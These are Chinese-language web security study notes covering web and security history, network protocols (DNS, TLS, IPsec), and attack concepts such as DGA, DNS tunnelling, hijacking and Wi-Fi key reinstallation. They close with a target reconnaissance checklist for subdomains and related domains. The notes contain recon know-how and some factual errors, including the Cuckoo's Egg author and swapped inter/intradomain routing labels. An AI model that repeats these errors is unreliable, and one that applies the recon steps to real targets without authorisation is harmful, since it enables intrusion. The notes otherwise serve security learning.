天天看點

Web安全學習

項目位址(參考):https://websec.readthedocs.io/zh/latest/basic/history.html

本文隻能充當目錄簡介,具體還要自己深入學習。

Web技術在最初階段,網站的主要内容是靜态的,大多站點托管在ISP (Internet Service Provider) 上,由文字和圖檔組成,制作和表現形式也是以表格為主。當時的使用者行為也非常簡單,基本隻是浏覽網頁。

随着技術的不斷發展,音頻、視訊、Flash等多媒體技術誕生了。多媒體的加入使得網頁變得更加生動形象,網頁上的互動也給使用者帶來了更好的體驗。

漸漸的,多媒體已經不能滿足人們的請求,于是CGI (Common Gateway Interface) 應運而生。CGI定義了Web伺服器與外部應用程式之間的通信接口标準,是以Web伺服器可以通過CGI執行外部程式,讓外部程式根據Web請求内容生成動态的内容。

在這個時候,各種程式設計語言如PHP/ASP/JSP也逐漸加入市場,基于這些語言可以實作更加子產品化的、功能更強大的應用程式。

Ajax,在開始的時候,使用者送出整個表單後才能擷取結果,使用者體驗極差。于是Ajax (Asynchronous Javascript And XML) 技術逐漸流行起來,它使得應用在不更新整個頁面的前提下也可以獲得或更新資料。這使得Web應用程式更為迅捷地回應使用者動作,并避免了在網絡上發送那些沒有改變的資訊。

随着Web應用開發越來越标準化,出現了MVC等思想。MVC是Model/View/Control的縮寫,Model用于封裝資料和資料處理方法,視圖View是資料的HTML展現,控制器Controller負責響應請求,協調Model和View。

Model,View和Controller的分開,是一種典型的關注點分離的思想,使得代碼複用性群組織性更好,Web應用的配置性和靈活性也越來越好。而資料通路也逐漸通過面向對象的方式來替代直接的SQL通路,出現了ORM (Object Relation Mapping) 的概念。

除了MVC,類似的設計思想還有MVP( Model View Presenter ),MVVM( Model-View-ViewModel )等。

在CGI時期,前後端通常是沒有做嚴格區分的,随着解耦和的需求不斷增加,前後端的概念開始變得清晰。前端主要指網站前台部分,運作在PC端、移動端等浏覽器上展現給使用者浏覽的網頁,由HTML5、CSS3、JavaScript組成。後端主要指網站的邏輯部分,涉及資料的增删改查等。

此時,REST (Representation State Transformation) 逐漸成為一種流行的Web架構風格。

REST鼓勵基于URL來組織系統功能,充分利用HTTP本身的語義,而不是僅僅将HTTP作為一種遠端資料傳輸協定。一般RESTful有以下的特征:

域名和主域名分開

帶有版本控制

使用URL定位資源

用 HTTP 動詞描述操作

正确使用狀态碼

預設使用 JSON 作為資料響應格式

有清晰的文檔

部分網絡服務場景的資料有複雜的依賴關系,為了應對這些場景,Facebook 推出了 GraphQL ,以圖狀資料結構對資料進行查詢存儲。部分網站也應用了 GraphQL 作為 API 互動的方式。

随着業務對性能的要求提高,前後端開始使用HTTP/2、自定義Protocol Buffer等方式來加快資料互動。

随着業務的不斷發展,業務架構也越來越複雜。傳統的功能被拆分成不同的子產品,出現了中間件、中台等概念。代理服務、負載均衡、資料庫分表、異地容災、緩存、CDN、消息隊列、安全防護等技術應用越來越廣泛,增加了Web開發和運維的複雜度。

用戶端的形态越來越多,除了Web之外iOS、Android等其他場景也出現在Web服務的用戶端場景。

資料庫從最開始的輕量資料庫,出現了Redis/Memcached緩存資料庫等一類滿足特定需求的資料庫。

為了滿足特定的業務需求,出現了Lucene/Solr/Elasticsearch搜尋應用伺服器,Kafka/RabbitMQ/ZeroMQ消息系統,Spark計算引擎,Hive資料倉庫平台等不同的基礎架構。

随着資料量的不斷提高,單台裝置難以承載這樣的通路量,同時不同功能也被拆分到不同的應用中,于是出現了提高業務複用及整合的分布式服務架構(RPC)。

持續內建 (Continuous Integration, CI) 是讓開發人員将工作內建到共享分支中的過程。頻繁的內建有助于解決隔離,減少每次送出的大小,以降低合并沖突的可能性。

持續傳遞 (Continuous Deployment, CD) 是持續內建的擴充,它将建構從內建測試套件部署到預生産環境。這使得它可以直接在類生産環境中評估每個建構,是以開發人員可以在無需增加任何工作量的情況下,驗證bug修複或者測試新特性。

雲計算誕生之前,大部分計算資源是處于“裸金屬”狀态的實體機,運維人員選擇對應規格的硬體,建設機房的 IDC 網絡,完成服務的提供,投入硬體基礎建設和維護的成本很高。雲服務出現之後,使用者可以直接購買雲主機,基礎設施由供應商管理,這種方式也被稱作 IaaS (Infrastructure-as-a-Service) 。

随着架構的繼續發展,應用的運作更加細粒度,部署環境容器化,各個功能拆成微服務或是Serverless的架構。

Serverless 架構由兩部分組成,即 Faas (Function-as-a-Service) 和 BaaS (Backend-as-a-Service) 。

FaaS是運作平台,使用者上傳需要執行的邏輯函數如一些定時任務、資料處理任務等到雲函數平台,配置執行條件觸發器、路由等等,就可以通過雲平台完成函數的執行。

BaaS包含了後端服務元件,它基于 API 完成第三方服務,主要是資料庫、對象存儲、消息隊列、日志服務等等。

微服務起源于2005年Peter Rodgers博士在雲端運算博覽會提出的微Web服務 (Micro-Web-Service),根本思想類似于Unix的管道設計理念。2014年,由Martin Fowler與 James Lewis共同提出了微服務的概念,定義了微服務架構風格是一種通過一套小型服務來開發單個應用的方法,每個服務運作在自己的程序中,并通過輕量級的機制進行通訊 (HTTP API) 。

微服務是一種應用于元件設計和部署架構的軟體架構風格。它利用子產品化的方式組合出複雜的大型應用程式:

各個服務功能内聚,實作與接口分離。

各個服務高度自治、互相解耦,可以獨立進行部署、版本控制和容量伸縮。

各個服務之間通過 API 的方式進行通信。

各個服務擁有獨立的狀态,并且隻能通過服務本身來對其進行通路。

API網關是一個伺服器,用戶端隻需要使用簡單的通路方式,統一通路API網關,由API網關來代理對後端服務的通路,同時由于服務治理特性統一放到API網關上面,服務治理特性的變更可以做到對用戶端透明,一定程度上實作了服務治理等基礎特性和業務服務的解耦,服務治理特性的更新也比較容易實作。

1939年,圖靈破解了Enigma,使戰争提前結束了兩年,這是較早的一次計算機安全開始出現在人們的視野中,這個時候計算機的算力有限,人們使用的攻防方式也相對初級。

1949年,約翰·馮·諾依曼(John Von Neumann)提出了一種可自我複制的程式的設計,這被認為是世界上第一種計算機病毒。

1970年到2009年間,随着網際網路不斷發展,網絡安全也開始進入人們的視野。在網絡發展的初期,很多系統都是零防護的,安全意識也尚未普及開來。很多系統的設計也隻考慮了可用性,對安全性的考慮不多,是以在當時結合搜尋引擎與一些內建滲透測試工具,可以很容易的拿到資料或者權限。

1972年,緩沖區溢出攻擊被 Computer Security Technology Planning Study 提出。

1984年,Ken Thompson 在 Reflections on Trusting Trust 一文中介紹了自己如何在編譯器中增加後門來擷取 Unix 權限的,這也是較早的供應鍊攻擊。

1988年,卡耐基梅隆大學(Carnegie Mellon University, CMU)的一位學生以測試的目的編寫了Morris Worm,對當時的網際網路造成了極大的損害。

同年,CMU的CERT Coordination Center (CERT-CC)為了處理Morris Worm對網際網路造成的破壞,組成了第一個計算機緊急響應小組(Computer Emergency Response Team),而後全球多個國家、地區、團體都建構了CERT、SRC等組織。

同樣是在1988年,Barton Miller教授在威斯康星大學的 計算機實驗課上 ,首次提出Fuzz生成器(Fuzz Generator)的概念,用于測試Unix程式的健壯性,即用随機資料來測試程式直至崩潰。是以,Barton Miller教授也被多數人尊稱為"模糊測試之父"。

1989年,C.J.Cherryh 發表了小說 The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage ,這本書是作者根據追溯黑客攻擊的真實經曆改編,在書中提出了蜜罐技術的雛形。

1990年,一些網絡防火牆的産品開始出現,此時主要是基于網絡的防火牆,可以處理FTP等應用程式。

1993年起,Jeff Moss開始每年在美國内華達州的拉斯維加斯舉辦 DEFCON (也寫做 DEF CON, Defcon, or DC, 全球最大的計算機安全會議之一) 。CTF (Capture The Flag) 比賽的形式也是起源于1996年的 DEFCON 。

1993年7月,Windows NT 3.1釋出,引入了身份認證、通路控制和安全審計等安全控制機制,在此之前的 Windows 9x 核心幾乎沒有任何安全性機制。

1996年,Smashing the Stack For Fun and Profit發表,在堆棧的緩沖區溢出的利用方式上做出了開創性的工作。

1997年起,Jeff Moss開始舉辦 Black Hat ,以中立的立場進行資訊安全研究的交流和教育訓練,到目前為止,Black Hat 也會在歐洲和亞洲舉行。

1998年12月,Jeff Forristal在一篇 文章 中提到了使用SQL注入的技巧攻擊一個網站的例子,從此SQL注入開始被廣泛讨論。

1999年1月21日-22日的第二屆 Research with Security Vulnerability Databases 的 WorkShop 上, MITRE 的創始人 David E. Mann 和 Steven M. Christey 發表了一篇名為《Towards a Common Enumeration of Vulnerabilities》的白皮書,提出了CVE (Common Vulnerabilities and Exposures, 通用漏洞披露) 的概念,在當年收錄并公開了321個CVE漏洞。

1999年12月,MSRC的一些工程師發現了一些網站被注入代碼的例子,他們在整理讨論後公開了這種攻擊,并稱為 Cross Site Scripting。

2002年1月,Microsoft發起了 “可信賴計算” (Trustworthy Computing) 計劃,以幫助確定産品和服務在本質上具有高度安全性,可用性,可靠性以及業務完整性,SDL (Security Development Lifecycle) 也在此時被提出。

2001年9月9日,Mark Curphey啟動了OWASP (Open Web Application Security Project) 項目,開始在社群中提供一些Web攻擊技術的文章、方法和工具等。

在此之後,Responsible disclosure / Full disclosure 等概念也不斷進入人們的視野之中。

2002年10月4日,Kevin Mitnick 編著的 The Art of Deception (欺騙的藝術) 出版,這本書詳細的介紹了社會工程學在攻擊中是如何應用的,Kevin Mitnick 也被認為是社會工程學的開山鼻祖。

2005年7月25日,Zero Day Initiative (ZDI) 建立,鼓勵負責任的漏洞披露。

2005年11月,基于從1941年2月開始的情報收集積累和發展,Director of National Intelligence 宣布成立 Open Source Center (OSC) ,進行開源情報的收集,而後 Open-source intelligence (OSINT) 的概念也不斷被人們認知。

2006年,APT(Advanced Persistent Threat, 進階持續威脅) 攻擊的概念被正式提出,用來描述從20世紀90年代末到21世紀初在美國軍事和政府網絡中發現的隐蔽且持續的網絡攻擊。

2006年起,美國國土安全部(DHS)開始每兩年舉行一次 “網絡風暴” (Cyber Storm) 系列國家級網絡事件演習。

随着時代不斷的發展,攻防技術有了很大的改變,防禦手段、安全意識也随着演化。在攻擊發生前有威脅情報、黑名單共享等機制,威脅及時能傳播。在攻擊發生時有基于各種機制的防火牆如關鍵字檢測、語義分析、深度學習,有的防禦機制甚至能一定程度上防禦零日攻擊。在攻擊發生後,一些關鍵系統系統做了隔離,攻擊成果難以擴大,就算拿到了目标也很難做進一步的攻擊。也有的目标蜜罐仿真程度很高,有正常的服務和一些難以判斷真假的業務資料。

2010年6月,震網 (Stuxnet) 被發現,在這之後供應鍊攻擊事件開始成為網絡空間安全的新興威脅之一。随後的XcodeGhost、CCleaner等供應鍊攻擊事件都造成了重大影響。

在2010年Forrester Research Inc.的分析師提出了“零信任”的概念模型時。

2012年1月,Gartner 公司提出了 IAST (Interactive Application Security Testing) 的概念,提供了結合 DAST 和 SAST 兩種技術的解決方案。

2012年9月,Gartner 公司研究員 David Cearley 提出了 DevSecOps 的概念,表示 DevOps 的流程應該包含安全理念。

2013年,MITRE 提出了 ATT&CK™ (Adversarial Tactics, Techniques, and Common Knowledge, ATT&CK) ,這是一個站在攻擊者的視角來描述攻擊中各階段用到的技術的模型。

2013年,Michigan 大學開始了 ZMap 項目,在2015年這個項目演化為 Censys ,從這之後網絡空間測繪的項目逐漸出現。

2014年,在 Gartner Security and Risk Management Summit 上,Runtime Application Self-protection (RASP) 的概念被提出,在應用層進行安全保護。

2015年,Gartner 首次提出了 SOAR 的概念,最初的定義是 Security Operations, Analytics and Reporting,即安全運維分析與報告。

2017年,Gartner 對 SOAR 概念做了重新定義:Security Orchestration, Automation and Response, 即安全編排、自動化與響應。

網絡安全的一個通用定義指網絡資訊系統的硬體、軟體及其系統中的資料受到保護,不因偶然的或者惡意的破壞、更改、洩露,系統能連續、可靠、正常地運作,服務不中斷。網絡安全簡單的說是在網絡環境下能夠識别和消除不安全因素的能力。

網絡安全在不同環境和應用中有不同的解釋,例如系統運作的安全、系統資訊内容的安全、資訊通信與傳播的安全等。

網絡安全的基本需求包括可靠性、可用性、保密性、完整性、不可抵賴性、可控性、可審查性、真實性等。其中三個最基本的要素是機密性 (Confidentiality)、完整性 (Integrity)、可用性 (Availability)。

機密性是不将有用資訊洩漏給非授權使用者的特性。可以通過資訊加密、身份認證、通路控制、安全通信協定等技術實作,資訊加密是防止資訊非法洩露的最基本手段,主要強調有用資訊隻被授權對象使用的特征。

完整性是指資訊在傳輸、交換、存儲和處理過程中,保持資訊不被破壞或修改、不丢失和資訊未經授權不能改變的特性,也是最基本的安全特征。

可用性指資訊資源可被授權實體按要求通路、正常使用或在非正常情況下能恢複使用的特性。在系統運作時正确存取所需資訊,當系統遭受意外攻擊或破壞時,可以迅速恢複并能投入使用。是衡量網絡資訊系統面向使用者的一種安全性能,以保障為使用者提供服務。

網絡安全的主體是保護網絡上的資料和通信的安全,資料安全性是指軟硬體保護措施,用來阻止對資料進行非授權的洩漏、轉移、修改和破壞等,通信安全性是通信保護措施,要求在通信中采用保密安全性、傳輸安全性、輻射安全性等措施。

資訊系統本身是脆弱的,資訊系統的硬體資源、通信資源、軟體及資訊資源等都可能因為可預見或不可預見甚至惡意的原因而可能導緻系統受到破壞、更改、洩露和功能失效,進而使系統處于異常狀态,甚至崩潰癱瘓。

硬體資源的脆弱性主要表現為實體安全方面的問題,多源于設計,采用軟體程式的方法見效不大。

軟體的脆弱性來源于設計和軟體工程實施中遺留問題,如設計中的疏忽、内部設計的邏輯混亂,沒有遵守資訊系統安全原則進行設計等。

中華人民共和國網絡安全法

網絡産品安全漏洞管理規定

關鍵資訊基礎設施安全保護條例

中華人民共和國個人資訊保護法

中華人民共和國資料安全法

計算機網絡-HTTP篇

計算機網絡-TCP篇

計算機網絡-IP篇

動态主機配置協定 (Dynamic Host Configuration Protocol,DHCP) 是一個用于區域網路的網絡協定,位于OSI模型的應用層,使用UDP協定工作,主要用于自動配置設定IP位址給使用者,友善管理者進行統一管理。

DHCP伺服器端使用67/udp,用戶端使用68/udp。

DHCP運作分為四個基本過程

請求IP租約

提供IP租約

選擇IP租約

确認IP租約

用戶端在獲得了一個IP位址以後,就可以發送一個ARP請求來避免由于DHCP伺服器位址池重疊而引發的IP沖突。

路由算法是用于找到一條從源路由器到目的路由器的最佳路徑的算法。存在着多種路由算法,每種算法對網絡和路由器資源的影響都不同;由于路由算法使用多種度量标準 (metric),是以不同路由算法的最佳路徑選擇也有所不同。

源/宿對之間的路徑選擇,以及標明路由之後将封包傳送到它們的目的地。

路由選擇算法的要求:

正确性:確定分組從源節點傳送到目的節點

簡單性:實作友善,軟硬體開銷小

自适應性:也稱健壯性,算法能夠适應業務量和網絡拓撲的變化

穩定性:能長時間無故障運作

公平性:每個節點都有機會傳送資訊

最優性:盡量選取好的路由

經典定義:

由一個組織管理的一整套路由器和網絡。

使用一種AS 内部的路由選擇協定和共同的度量以确定分組在該 AS 内的路由。

使用一種 AS 之間的路由選擇協定用以确定分組在AS之間的路由。

盡管一個 AS 使用了多種内部路由選擇協定和度量,但對其他 AS 表現出的是一個單一的和一緻的路由選擇政策。

網際網路的中,路由協定可以分為内部網關協定 IGP (Interior Gateway Protocol)和外部網關協定 EGP (External Gateway Protocol)。

IGP是在一個AS内部使用的路由選擇協定,如RIP和OSPF協定,是域内路由選擇 (interdomain routing)。當源主機和目的主機處在不同的AS中,在資料報到達AS的邊界時,使用外部網關協定 EGP 将路由選擇資訊傳遞到另一個自治系統中,如BGP-4,是域間路由選擇 (intradomain routing)。

RIP

OSPF

DNS是一個簡單的請求-響應協定,是将域名和IP位址互相映射的一個分布式資料庫,能夠使人更友善地通路網際網路。DNS使用TCP和UDP協定的53端口。

mDNS

Multicast DNS (mDNS),多點傳播DNS,使用5353端口,多點傳播位址為 <code>224.0.0.251</code> 或 <code>[FF02::FB]</code> 。在一個沒有正常DNS伺服器的小型網絡内可以使用mDNS來實作類似DNS的程式設計接口、包格式和操作語義。mDNS協定的封包與DNS的封包結構相同,但有些字段對于mDNS來說有新的含義。

啟動mDNS的主機會在進入區域網路後向所有主機多點傳播消息,包含主機名、IP等資訊,其他擁有相應服務的主機也會響應含有主機名和IP的資訊。

mDNS的域名是用 <code>.local</code> 和普通域名區分開的。

FQDN

FQDN (Fully-Qualified Domain Name) 是域名的完全形态,主要是包含零長度的根标簽,例如 <code>www.example.com.</code> 。

TLD

Top-Level Domain (TLD) 是屬于根域的一個域,例如 <code>com</code> 或 <code>jp</code> 。

TLD一般可以分為 Country Code Top-Level Domains (ccTLDs) 、Generic Top-Level Domains (gTLDs) 以及其它。

IDN

Internationalized Domain Names for Applications (IDNA) 是為了處理非ASCII字元的情況。

CNAME

CNAME即Canonical name,又稱alias,将域名指向另一個域名。

TTL

Time To Live,無符号整數,記錄DNS記錄過期的時間,最小是0,最大是2147483647 (2^31 - 1)。

DNS記錄

A記錄

NS記錄

PTR記錄

MX記錄

響應碼

NOERROR

FORMERR

SERVFAIL

NXDOMAIN

NOTIMP

REFUSED

NODATA

解析過程

DNS解析過程是遞歸查詢的,具體過程如下:

使用者要通路域名www.example.com時,先檢視本機hosts是否有記錄或者本機是否有DNS緩存,如果有,直接傳回結果,否則向遞歸伺服器查詢該域名的IP位址

遞歸緩存為空時,首先向根伺服器查詢com頂級域的IP位址

根伺服器告知遞歸伺服器com頂級域名伺服器的IP位址

遞歸向com頂級域名伺服器查詢負責example.com的權威伺服器的IP

com頂級域名伺服器傳回相應的IP位址

遞歸向example.com的權威伺服器查詢www.example.com的位址記錄

權威伺服器告知www.example.com的位址記錄

遞歸伺服器将查詢結果傳回用戶端

域傳送

DNS伺服器可以分為主伺服器、備份伺服器和緩存伺服器。域傳送是指備份伺服器從主伺服器拷貝資料,并使用得到的資料更新自身資料庫。域傳送是在主備伺服器之間同步資料庫的機制。

伺服器類型

根伺服器

根伺服器是DNS的核心,負責網際網路頂級域名的解析,用于維護域的權威資訊,并将DNS查詢引導到相應的域名伺服器。

根伺服器在域名樹中代表最頂級的 <code>.</code> 域, 一般省略。

13台IPv4根伺服器的域名标号為a到m,即a.root-servers.org到m.root-servers.org,所有伺服器存儲的資料相同,僅包含ICANN準許的TLD域名權威資訊。

權威伺服器

權威伺服器上存儲域名Zone檔案,維護域内域名的權威資訊,遞歸伺服器可以從權威伺服器獲得DNS查詢的資源記錄。

權威伺服器需要在所承載的域名所屬的TLD管理局注冊,同一個權威伺服器可以承載不同TLD域名,同一個域也可以有多個權威伺服器。

遞歸伺服器

遞歸伺服器負責接收使用者的查詢請求,進行遞歸查詢并響應使用者查詢請求。在初始時遞歸伺服器僅有記錄了根域名的Hint檔案。

DGA

DGA(Domain Generate Algorithm,域名生成算法)是一種利用随機字元來生成C&amp;C域名,進而逃避域名黑名單檢測的技術手段,常見于botnet中。一般來說,一個DGA域名的存活時間約在1-7天左右。

通信時,用戶端和服務端都運作同一套DGA算法,生成相同的備選域名清單,當需要發動攻擊的時候,選擇其中少量進行注冊,便可以建立通信,并且可以對注冊的域名應用速變IP技術,快速變換IP,進而域名和IP都可以進行快速變化。

DGA域名有多種生成方式,根據種子類型可以分為确定性和不确定性的生成。不确定性的種子可能會選用當天的一些即時資料,如匯率資訊等。

DNS隧道

DNS隧道工具将進入隧道的其他協定流量封裝到DNS協定内,在隧道上傳輸。這些資料包出隧道時進行解封裝,還原資料。

加密方案

作為主流的防禦方案,DNS加密有五種方案,分别是 DNS-over-TLS (DoT)、DNS-over-DTLS、DNS-over-HTTPS (DoH)、DNS-over-QUIC以及DNSCrypt。

DoT

DoT方案在2016年發表于RFC7858,使用853端口。主要思想是Client和Server通過TCP協定建立TLS會話後再進行DNS傳輸,Client通過SSL證書驗證伺服器身份。

DNS-over-DTLS

DNS-over-DTLS和DoT類似,差別在于使用UDP協定而不是TCP協定。

DoH

DoH方案在發表RFC8484,使用 <code>https://dns.example.com/dns-query{?dns}</code> 來查詢伺服器的IP,複用https的443端口,流量特征比較小。DoH會對DNS伺服器進行加密認證,不提供fallback選項。目前Cloudflare、Google等服務商對DoH提供了支援。

DNS-over-QUIC

DNS-over-QUIC安全特性和DoT類似,但是性能更高,目前沒有合适的軟體實作。

DNSCrypt

DNSCrypt使用X25519-XSalsa20Poly1305而非标準的TLS,且DNSCrypt的Client需要額外的軟體,Server需要的專門的證書。

DNS劫持

DNS劫持有多種方式,比較早期的攻擊方式是通過攻擊域名解析伺服器,或是僞造DNS響應的方法,來将域名解析到惡意的IP位址。

随着網際網路應用的不斷發展,出現了基于廢棄記錄的劫持方式。這種方式發生的場景是次級域名的解析記錄指向第三方資源,而第三方資源被釋放後,解析記錄并沒有取消,在這種場景下,可以對應申請第三方資源,以擷取控制解析記錄的能力。

拒絕服務

DNS服務通常會開啟UDP端口,當DNS伺服器擁有大量二級域NS記錄時,通過DNS的UDP反射攻擊可以實作高倍的拒絕服務。

SSL全稱是Secure Sockets Layer,安全套接字層,它是由網景公司(Netscape)在1994年時設計,主要用于Web的安全傳輸協定,目的是為網絡通信提供機密性、認證性及資料完整性保障。如今,SSL已經成為網際網路保密通信的工業标準。

SSL最初的幾個版本(SSL 1.0、SSL2.0、SSL 3.0)由網景公司設計和維護,從3.1版本開始,SSL協定由網際網路工程任務小組(IETF)正式接管,并更名為TLS(Transport Layer Security),發展至今已有TLS 1.0、TLS1.1、TLS1.2、TLS1.3這幾個版本。

如TLS名字所說,SSL/TLS協定僅保障傳輸層安全。同時,由于協定自身特性(數字證書機制),SSL/TLS不能被用于保護多跳(multi-hop)端到端通信,而隻能保護點到點通信。

SSL/TLS協定能夠提供的安全目标主要包括如下幾個:

認證性

機密性

完整性

重放保護

為了實作這些安全目标,SSL/TLS協定被設計為一個兩階段協定,分為握手階段和應用階段:

握手階段也稱協商階段,在這一階段,用戶端和服務端端會認證對方身份(依賴于PKI體系,利用數字證書進行身份認證),并協商通信中使用的安全參數、密碼套件以及MasterSecret。後續通信使用的所有密鑰都是通過MasterSecret生成。 在握手階段完成後,進入應用階段。在應用階段通信雙方使用握手階段協商好的密鑰進行安全通信。

TLS 包含幾個子協定,比較常用的有記錄協定、警報協定、握手協定、變更密碼規範協定等。

記錄協定(Record Protocol)規定了 TLS 收發資料的基本機關記錄(record)。

警報協定(Alert Protocol)用于提示協定互動過程出現錯誤。

握手協定(Handshake Protocol)是 TLS 裡最複雜的子協定,在握手過程中協商 TLS 版本号、随機數、密碼套件等資訊,然後交換證書和密鑰參數,最終雙方協商得到會話密鑰,用于後續的混合加密系統

變更密碼規範協定(Change Cipher Spec Protocol)是一個“通知”,告訴對方,後續的資料都将使用加密保護。

Client Hello 由用戶端發送,内容包括用戶端的一個Unix時間戳(GMT Unix Time)、一些随機的位元組(Random Bytes),還包括了用戶端接受的算法類型(Cipher Suites)。

Server Hello 由服務端發送,内容包括服務端支援的算法類型、GMT Unix Time以及Random Bytes。

Certificate由服務端或者用戶端發送,發送方會會将自己的數字證書發送給接收方,由接收方進行證書驗證,如果不通過的話,接收方會中斷握手的過程。一般跟在Client / Server Hello封包之後。

Server Key Exchange由服務端發送,将自己的公鑰參數傳輸給了用戶端,一般也和Server Hello與Certificate在一個TCP封包中。

Server Hello Done服務端發送,一般也和Server Hello、Certificate和Server Key Exchange在一個TCP封包中。

Client Key Exchange用戶端發送,向服務端發送自己的公鑰參數,與服務端協商密鑰。

Change Cipher Spec用戶端或者服務端發送,緊跟着Key Exchange發送,代表自己生成了新的密鑰,通知對方以後将更換密鑰,使用新的密鑰進行通信。

Encrypted Handshake Message用戶端或者服務端發送,緊跟着Key Exchange發送。進行測試,一方用自己的剛剛生成的密鑰加密一段固定的消息發送給對方,如果密鑰協商正确無誤的話,對方可以正确解密。

New Session Ticket服務端發送,表示發起會話,在一段時間之内(逾時時間到來之前),雙方都以剛剛交換的密鑰進行通信。從這以後,加密通信正式開始。

Application Data使用密鑰交換協定協商出來的密鑰加密的應用層的資料。

Encrypted Alert用戶端或服務端發送,意味着加密通信因為某些原因需要中斷,警告對方不要再發送敏感的資料。

TLS 1.3

引入了PSK作為新的密鑰協商機制

支援 0-RTT 模式,以安全性降低為代價,在建立連接配接時節省了往返時間

ServerHello 之後的所有握手消息采取了加密操作,可見明文減少

不再允許對加密封包進行壓縮、不再允許雙方發起重協商

DSA 證書不再允許在 TLS 1.3 中使用

删除不安全的密碼算法

SSL/TLS協定有一個高度子產品化的架構,分為很多子協定,主要是:

Handshake 協定

ChangeCipherSpec 協定

Alert 協定

Record 協定

IPsec(IP Security)是IETF制定的三層隧道加密協定,它為Internet上傳輸的資料提供了高品質的、可互操作的、基于密碼學的安全保證。特定的通信方之間在IP層通過加密與資料源認證等方式,提供了以下的安全服務:

資料機密性(Confidentiality)

資料完整性(Data Integrity)

資料來源認證(Data Authentication)

防重放(Anti-Replay)

優點

IPsec具有以下優點:

支援IKE(Internet Key Exchange,網際網路密鑰交換),可實作密鑰的自動協商功能,減少了密鑰協商的開銷。可以通過IKE建立和維護SA的服務,簡化了IPsec的使用和管理。

所有使用IP協定進行資料傳輸的應用系統和服務都可以使用IPsec,而不必對這些應用系統和服務本身做任何修改。

對資料的加密是以資料包為機關的,而不是以整個資料流為機關,這不僅靈活而且有助于進一步提高IP資料包的安全性,可以有效防範網絡攻擊。

構成

IPsec由四部分内容構成:

負責密鑰管理的Internet密鑰交換協定IKE(Internet Key Exchange Protocol)

負責将安全服務與使用該服務的通信流相聯系的安全關聯SA(Security Associations)

直接操作資料包的認證頭協定AH(IP Authentication Header)和安全載荷協定ESP(IP Encapsulating Security Payload)

若幹用于加密和認證的算法

IPsec在兩個端點之間提供安全通信,端點被稱為IPsec對等體。

SA是IPsec的基礎,也是IPsec的本質。SA是通信對等體間對某些要素的約定,例如,使用哪種協定(AH、ESP還是兩者結合使用)、協定的封裝模式(傳輸模式和隧道模式)、加密算法(DES、3DES和AES)、特定流中保護資料的共享密鑰以及密鑰的生存周期等。建立SA的方式有手工配置和IKE自動協商兩種。

SA是單向的,在兩個對等體之間的雙向通信,最少需要兩個SA來分别對兩個方向的資料流進行安全保護。同時,如果兩個對等體希望同時使用AH和ESP來進行安全通信,則每個對等體都會針對每一種協定來建構一個獨立的SA。

SA由一個三元組來唯一辨別,這個三元組包括SPI(Security Parameter Index,安全參數索引)、目的IP位址、安全協定号(AH或ESP)。

SPI是用于唯一辨別SA的一個32比特數值,它在AH和ESP頭中傳輸。在手工配置SA時,需要手工指定SPI的取值。使用IKE協商産生SA時,SPI将随機生成。

IKE

IKE(RFC2407,RFC2408、RFC2409)屬于一種混合型協定,由Internet安全關聯和密鑰管理協定(ISAKMP)和兩種密鑰交換協定OAKLEY與SKEME組成。IKE建立在由ISAKMP定義的架構上,沿用了OAKLEY的密鑰交換模式以及SKEME的共享和密鑰更新技術,還定義了它自己的兩種密鑰交換方式。

IKE使用了兩個階段的ISAKMP:

第一階段,協商建立一個通信信道(IKE SA),并對該信道進行驗證,為雙方進一步的IKE通信提供機密性、消息完整性以及消息源驗證服務; 第二階段,使用已建立的IKE SA建立IPsec SA(V2中叫Child SA)。

Wi-Fi又稱“無線熱點”或“無線網絡”,是Wi-Fi聯盟的商标,一個基于IEEE 802.11标準的無線區域網路技術。

暴力破解

WiFi密碼是基于預置的秘鑰,可以通過抓取封包的方式在本地快速的批量進行密碼爆破嘗試。

僞造熱點

AP可以動态的廣播自己,客戶也可以主動發送探針請求。可以僞造AP發送對探針請求的響應包,來讓用戶端錯誤的識别。

秘鑰重裝攻擊

該漏洞由Vanhoef發現。Wi-Fi在握手時雙方會更新秘鑰,該攻擊通過重放握手資訊,令用戶端重新安裝相同的秘鑰。

Dragonblood

最新版的WPA3标準在實作上存在一些問題,同樣由Vanhoef發現。包含拒絕服務攻擊、降級攻擊、側信道洩露等。

網絡拓撲資訊

IP資訊

線下網絡

VPN

郵件網關

手機APP

小程式背景

OA

SSO

邊界網絡裝置

上遊營運商

Whois

Whois 可以查詢域名是否被注冊,以及注冊域名的詳細資訊的資料庫,其中可能會存在一些有用的資訊,例如域名所有人、域名注冊商、郵箱等。

搜尋引擎搜尋

搜尋引擎通常會記錄域名資訊,可以通過 <code>site: domain</code> 的文法來查詢。

第三方查詢

網絡中有相當多的第三方應用提供了子域的查詢功能,下面有一些例子:

DNSDumpster

Virustotal

CrtSearch

threatminer

Censys

ASN資訊關聯

在網絡中一個自治系統 (Autonomous System, AS) 是一個有權自主地決定在本系統中應采用何種路由協定的小型機關。這個網絡機關可以是一個簡單的網絡也可以是一個由一個或多個普通的網絡管理者來控制的網絡群體,它是一個單獨的可管理的網絡單元 (例如一所大學,一個企業或者一個公司個體) 。

一個自治系統有時也被稱為是一個路由選擇域 (routing domain) 。一個自治系統将會配置設定一個全局的唯一的16位号碼,這個号碼被稱為自治系統号 (ASN) 。是以可以通過ASN号來查找可能相關的IP,例如:

域名相關性

同一個企業/個人注冊的多個域名通常具有一定的相關性,例如使用了同一個郵箱來注冊、使用了同一個備案、同一個負責人來注冊等,可以使用這種方式來查找關聯的域名。一種操作步驟如下:

查詢域名注冊郵箱

通過域名查詢備案号

通過備案号查詢域名

反查注冊郵箱

反查注冊人

通過注冊人查詢到的域名在查詢郵箱

通過上一步郵箱去查詢域名

查詢以上擷取出的域名的子域名

網站資訊利用

網站中有相當多的資訊,網站本身、各項安全政策、設定等都可能暴露出一些資訊。

網站本身的互動通常不囿于單個域名,會和其他子域互動。對于這種情況,可以通過爬取網站,收集站點中的其他子域資訊。這些資訊通常出現在JavaScript檔案、資源檔案連結等位置。

網站的安全政策如跨域政策、CSP規則等通常也包含相關域名的資訊。有時候多個域名為了友善會使用同一個SSL/TLS證書,是以有時可通過證書來擷取相關域名資訊。

證書透明度

為了保證HTTPS證書不會被誤發或僞造,CA會将證書記錄到可公開驗證、不可篡改且隻能附加内容的日志中,任何感興趣的相關方都可以檢視由授權中心簽發的所有證書。是以可以通過查詢已授權證書的方式來獲得相關域名。

SAN

